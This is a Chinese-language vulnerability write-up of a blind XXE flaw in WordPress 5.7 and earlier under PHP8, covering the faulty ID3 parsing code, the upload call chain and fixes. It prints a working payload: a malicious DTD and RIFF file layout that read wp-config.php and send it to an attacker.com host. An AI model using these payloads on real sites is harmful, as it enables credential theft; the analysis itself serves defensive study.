分析和学习WordPress<=5.7 XXE漏洞
字数 1390 2025-08-05 11:39:32
WordPress <=5.7 XXE漏洞分析与利用教学文档
漏洞概述
漏洞类型: Blind XXE (XML外部实体注入)
影响范围: WordPress <=5.7 && PHP8环境
严重程度: 中高
发现时间: 2021年5月
漏洞背景
该漏洞存在于WordPress的媒体库功能中,由于PHP8兼容性问题导致XXE防护失效。漏洞利用需要上传特制的音频文件,通过WordPress的ID3标签解析功能触发。
漏洞成因分析
核心问题代码
漏洞位于wp-includes/ID3/module.audio-video.riff.php中的XML2array函数:
public static function XML2array($XMLstring) {
if (function_exists('simplexml_load_string') && function_exists('libxml_disable_entity_loader')) {
if (PHP_VERSION_ID < 80000) {
$loader = libxml_disable_entity_loader(true);
}
$XMLobject = simplexml_load_string($XMLstring, 'SimpleXMLElement', LIBXML_NOENT);
$return = self::SimpleXMLelement2array($XMLobject);
if (PHP_VERSION_ID < 80000 && isset($loader)) {
libxml_disable_entity_loader($loader);
}
return $return;
}
return false;
}
关键问题点
-
PHP8兼容性问题:
- PHP8移除了
libxml_disable_entity_loader函数 - 开发者认为PHP8+libxml2.9默认禁用外部实体加载,因此PHP8环境下不再调用防护代码
- PHP8移除了
-
LIBXML_NOENT参数问题:
- 使用
LIBXML_NOENT参数会覆盖默认的安全配置 - 即使libxml2.9默认禁用外部实体,该参数也会重新启用实体替换功能
- 使用
漏洞利用链分析
完整调用链
async-upload.php
→ wp_ajax_upload_attachment()
→ media_handle_upload()
→ wp_read_audio_metadata()
→ GetFileFormat()
→ getid3_riff::analyze()
→ ParseRIFFdata()
→ XML2array()
关键步骤说明
-
上传入口:
- 通过
/wp-admin/async-upload.php上传文件 - 需要
action=upload-attachment参数
- 通过
-
文件类型检测:
- WordPress会检查文件头内容
- 需要构造包含"RIFF"、"SDSS"或"FORM"的文件头
-
RIFF格式解析:
- WordPress使用getID3库解析音频文件
- 需要构造符合RIFF格式的文件结构
漏洞利用实战
环境准备
- WordPress 5.7 + PHP8环境
- 开启Xdebug调试工具
- 准备监听服务器用于接收外带数据
POC构造
-
RIFF文件结构:
RIFF|4字节大小|WAVE|iXML|4字节XML大小|XML内容 -
恶意XML构造:
<!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "http://attacker.com/xxe.dtd"> %sp; %param1; ]> <r>&exfil;</r> -
外部DTD文件(xxe.dtd):
<!ENTITY % data SYSTEM "php://filter/zlib.deflate/convert.base64-encode/resource=../wp-config.php"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://attacker.com/?%data;'>">
利用步骤
- 构造特制的音频文件(如test.mp3),包含恶意RIFF结构和XXE payload
- 通过WordPress媒体上传功能上传该文件
- WordPress解析文件时会触发XXE漏洞
- 服务器会向攻击者控制的服务器发送敏感文件内容
防御措施
- 升级WordPress:升级到5.7.1及以上版本
- 代码修复:
- 移除
LIBXML_NOENT参数 - 添加PHP8环境下的替代防护措施
- 移除
- 服务器配置:
- 禁用PHP的XML外部实体加载
- 限制文件上传类型
深入技术细节
LIBXML_NOENT的影响
- 该参数会启用实体替换,包括外部实体
- 即使libxml2.9默认禁用外部实体,该参数也会覆盖此设置
- 在PHP8环境下,由于缺少
libxml_disable_entity_loader调用,导致完全无防护
RIFF文件格式要求
- 必须包含有效的RIFF头(前4字节为"RIFF")
- 第5-8字节为文件大小(小端序)
- 必须包含"WAVE"和"iXML"块标识
- iXML块后必须跟4字节的XML内容大小
总结
该漏洞展示了兼容性修改可能引入的安全问题,特别是在安全防护代码的移除或修改时。开发者在处理PHP8兼容性问题时,未能充分理解LIBXML_NOENT参数的安全影响,导致防护失效。该漏洞需要构造特殊的音频文件才能触发,但一旦利用成功,可以读取服务器上的任意文件。